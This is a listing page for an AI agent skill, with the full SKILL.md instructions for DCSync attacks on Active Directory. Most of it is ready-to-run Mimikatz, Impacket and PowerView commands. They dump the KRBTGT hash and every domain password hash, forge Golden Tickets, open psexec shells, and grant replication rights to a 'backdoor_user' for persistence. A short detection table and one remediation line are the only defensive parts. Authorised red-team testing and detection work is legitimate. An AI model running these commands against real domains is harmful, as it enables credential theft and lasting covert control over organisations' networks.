New to Claude Skills? Learn how to install them →

mukul975 on GitHub

Conducting Domain Persistence with DCSync

Free

Execute DCSync attacks for domain persistence testing.

Get this skill

Free · Opens the source repo

What Conducting Domain Persistence with DCSync does

The Conducting Domain Persistence with DCSync skill enables security professionals to perform DCSync attacks by leveraging Microsoft Directory Replication Service Remote Protocol (MS-DRSR) vulnerabilities. This skill is particularly useful for red team engagements and security assessments where the objective is to test the resilience of Active Directory environments against credential dumping techniques. By impersonating a Domain Controller, users can extract sensitive information such as the KRBTGT account hash, which is critical for forging Golden Tickets and achieving long-term persistence in a domain.

This skill provides a comprehensive workflow for identifying accounts with DCSync rights, executing the DCSync attack, and extracting credential data. It includes detailed commands for using Mimikatz and Impacket tools, which are essential for performing the necessary tasks on both Windows and Linux platforms. Users can also document their findings and evaluate the effectiveness of security controls in place, making it a valuable addition to any penetration testing toolkit.

Designed for security professionals with a solid understanding of red teaming concepts, this skill requires appropriate authorization for testing activities. It is particularly relevant during security audits, incident response scenarios, and when validating the security posture of Active Directory implementations. The skill emphasizes ethical use and compliance with legal standards, ensuring that it is employed only in authorized environments.

In summary, this skill is a powerful resource for those looking to enhance their capabilities in conducting security assessments focused on Active Directory persistence mechanisms. By mastering DCSync attacks, users can better understand potential vulnerabilities and improve the overall security of their systems.

When to use it

Use this skill during authorized security assessments, incident response activities, or scheduled security testing focused on Active Directory.

When not to use it

This skill is not suitable for unauthorized testing or environments where you do not have explicit permission to conduct security assessments.

What you can build with it

Security Assessment

Utilize this skill to perform thorough security assessments on Active Directory environments, identifying vulnerabilities.

Incident Response

Employ the skill during incident response to validate the effectiveness of security controls against DCSync attacks.

Scheduled Security Testing

Integrate this skill into regular security testing routines to ensure ongoing compliance and security posture.

How to install Conducting Domain Persistence with DCSync

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/conducting-domain-persistence-with-dcsync --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Conducting Domain Persistence with DCSync

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

When to Use

  • When conducting security assessments that involve conducting domain persistence with dcsync
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Identify accounts with DCSync (replication) rights in Active Directory
  • Perform DCSync using Mimikatz or Impacket's secretsdump.py
  • Extract the KRBTGT account hash for Golden Ticket creation
  • Dump all domain user password hashes for credential analysis
  • Forge Golden Tickets for persistent domain access
  • Grant DCSync rights to a controlled account for alternative persistence
  • Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

  • T1003.006 - OS Credential Dumping: DCSync
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1222.001 - File and Directory Permissions Modification: Windows
  • T1098 - Account Manipulation
  • T1078.002 - Valid Accounts: Domain Accounts

Workflow

Phase 1: Identify Accounts with DCSync Rights

  1. Enumerate principals with replication rights:
    # Using PowerView
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                     ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
      Select-Object SecurityIdentifier, ObjectAceType
    
    # Using BloodHound Cypher query
    MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
    RETURN u.name, d.name
    
  2. Using Impacket's FindDelegation or custom LDAP query:
    # Check with Impacket
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. Default accounts with DCSync rights:
    • Domain Admins
    • Enterprise Admins
    • Domain Controllers group
    • SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

  1. Using Mimikatz (Windows):
    # Dump specific account (KRBTGT for Golden Ticket)
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
    
    # Dump Domain Admin
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
    
    # Dump all domain accounts
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
    
  2. Using Impacket secretsdump.py (Linux):
    # Dump all credentials
    secretsdump.py domain.local/admin:'Password123'@10.10.10.1
    
    # Dump specific user
    secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
    
    # Dump only NTLM hashes (no Kerberos keys)
    secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
    
    # Using Kerberos authentication
    export KRB5CCNAME=admin.ccache
    secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
    

Phase 3: Golden Ticket Creation

  1. Using Mimikatz with extracted KRBTGT hash:
    # Create Golden Ticket
    mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> /ptt"
    
    # Create with specific group memberships
    mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> \
      /groups:512,513,518,519,520 /ptt"
    
  2. Using Impacket ticketer.py (Linux):
    # Create Golden Ticket
    ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
      -domain domain.local administrator
    
    # Use the ticket
    export KRB5CCNAME=administrator.ccache
    psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
    

Phase 4: Persistence via DCSync Rights

  1. Grant DCSync rights to a controlled account for persistence:
    # Using PowerView - Add DS-Replication-Get-Changes-All rights
    Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
      -PrincipalIdentity backdoor_user -Rights DCSync
    
    # Verify rights were added
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
    
  2. Using ntlmrelayx.py for automated DCSync rights escalation:
    # Relay authentication to add DCSync rights
    ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
    

Tools and Resources

ToolPurposePlatform
MimikatzDCSync extraction, Golden Ticket creationWindows
secretsdump.pyRemote DCSync (Impacket)Linux (Python)
ticketer.pyGolden Ticket creation (Impacket)Linux (Python)
PowerViewACL enumeration and modificationWindows (PowerShell)
RubeusKerberos ticket manipulationWindows (.NET)
ntlmrelayx.pyDCSync rights escalation via relayLinux (Python)

Critical Hashes to Extract

AccountPurposePersistence Value
krbtgtGolden Ticket creationIndefinite domain access
AdministratorDirect DA accessImmediate privileged access
Service accountsLateral movementService access across domain
Computer accountsSilver Ticket creationService-level impersonation

Detection Signatures

IndicatorDetection Method
DrsGetNCChanges RPC calls from non-DC sourcesNetwork monitoring for DRSUAPI traffic from unusual IPs
Event 4662 with Replicating Directory Changes GUIDsWindows Security Log on DC (1131f6aa-/1131f6ad- GUIDs)
Event 4624 with Golden Ticket anomaliesLogon events with impossible SIDs or non-existent users
ACL modifications on domain root objectEvent 5136 (directory service changes)
Replication traffic volume spikeNetwork baseline deviation monitoring

Validation Criteria

  • Accounts with DCSync rights enumerated
  • KRBTGT hash extracted via DCSync
  • All domain credentials dumped successfully
  • Golden Ticket forged and validated for DA access
  • DCSync rights persistence mechanism established (if in scope)
  • Access to Domain Controller validated with Golden Ticket
  • Evidence documented with hash values and timestamps
  • Remediation recommendations provided (double KRBTGT reset, ACL audit)

Frequently asked questions about Conducting Domain Persistence with DCSync

Similar skills